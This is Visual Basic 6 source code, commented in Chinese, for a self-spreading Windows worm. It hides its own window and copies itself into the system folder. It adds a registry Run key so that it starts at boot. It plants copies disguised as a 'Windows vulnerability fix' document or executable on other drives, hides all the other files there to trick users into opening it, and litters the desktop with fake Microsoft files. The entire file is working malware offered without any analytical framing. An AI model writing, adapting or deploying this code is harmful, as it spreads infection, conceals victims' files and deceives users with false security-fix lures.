Private n盘
Private n路径1$
Private n路径2$
Private Sub Command1_Click()
End
End Sub
Private Sub Form_Load()
App.TaskVisible = False
Randomize
If Dir("c:/windows/system/Hii", vbNormal) = "" Then
''''''''''''''''''''''''''''''''''''''''''''''''''''复制到C盘
If Dir("c:/windows/system/Hii.exe", vbNormal) = "" Then
f = App.Path + "/" + App.EXEName + ".exe"
d = "C:/WINDOWS/system/Hii.exe"
FileCopy f, d
End If
''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''添加到启动注册表
Dim Reg
Set Reg = CreateObject("wscript.Shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe"
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''判断盘符数量
FileCopy App.Path + "/" + App.EXEName + ".exe", "C:/Windows漏洞修复.doc"
Open "c:/windows/system/Hii" For Output As #1
Write #1, 1
Close #1
FileCopy App.Path + "/" + App.EXEName + ".exe", "D:/Windows漏洞修复.doc"
Open "c:/windows/system/Hii" For Output As #1
Write #1, 2
Close #1
FileCopy App.Path + "/" + App.EXEName + ".exe", "E:/Windows漏洞修复.doc"
Open "c:/windows/system/Hii" For Output As #1
Write #1, 3
Close #1
FileCopy App.Path + "/" + App.EXEName + ".exe", "F:/Windows漏洞修复.doc"
Open "c:/windows/system/Hii" For Output As #2
Write #2, 4
Close #2
FileCopy App.Path + "/" + App.EXEName + ".exe", "G:/Windows漏洞修复.doc"
Open "c:/windows/system/Hii" For Output As #3
Write #3, 5
Close #3
FileCopy App.Path + "/" + App.EXEName + ".exe", "H:/Windows漏洞修复.doc"
Open "c:/windows/system/Hii" For Output As #4
Write #4, 6
Close #4
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Else
'''''''''''''''''''''''''''''''''''''''''添加到启动注册表
Set Reg = CreateObject("wscript.Shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe"
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Open "c:/windows/system/Hii" For Input As #2
Input #2, n盘
If n盘 = 1 Then n路径1$ = "E:/": n路径2$ = "F:/"
If n盘 = 2 Then n路径1$ = "F:/": n路径2$ = "G:/"
If n盘 = 3 Then n路径1$ = "G:/": n路径2$ = "H:/"
If n盘 = 4 Then n路径1$ = "H:/": n路径2$ = "I:/"
If n盘 = 5 Then n路径1$ = "I:/": n路径2$ = "J:/"
If n盘 = 6 Then n路径1$ = "J:/": n路径2$ = "K:/"
Text1.Text = Str(n盘) + "个 " + n路径1$ + n路径2$
Timer传播.Enabled = True
Timer发作.Enabled = True
End If
End Sub
Private Sub Timer传播_Timer()
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径二是否存在
If Dir(n路径2$, vbDirectory) <> "" Then
myfile = Dir(n路径2$, vbNormal)
Do While myfile <> ""
If n路径2$ + myfile <> n路径2$ + "Windows漏洞修复.exe" Then SetAttr n路径2$ + myfile, vbHidden
myfile = Dir
Loop
If Dir(n路径2$ + "Windows漏洞修复.exe", vbNormal) = "" Then
f = App.Path + "/" + App.EXEName + ".exe"
d = n路径2$ + "Windows漏洞修复.exe"
FileCopy f, d
Text1.Text = "ok"
GoTo 100
End If
End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径1是否存在
If Dir(n路径1$, vbDirectory) <> "" Then
myfile = Dir(n路径1$, vbNormal)
Do While myfile <> ""
If n路径1$ + myfile <> n路径1$ + "Windows漏洞修复.exe" Then SetAttr n路径1$ + myfile, vbHidden
myfile = Dir
Loop
If Dir(n路径1$ + "Windows漏洞修复.exe", vbNormal) = "" Then
f = App.Path + "/" + App.EXEName + ".exe"
d = n路径1$ + "Windows漏洞修复.exe"
FileCopy f, d
Text1.Text = "ok"
End If
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
100
End Sub
Private Sub Timer发作_Timer()
nName$ = Str(Fix(Rnd * 100))
If Dir("C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt", vbNormal) = "" Then
Open "C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt" For Output As #3
Write #3, "微软漏洞修复,请稍候..."
Close #3
End If
End Sub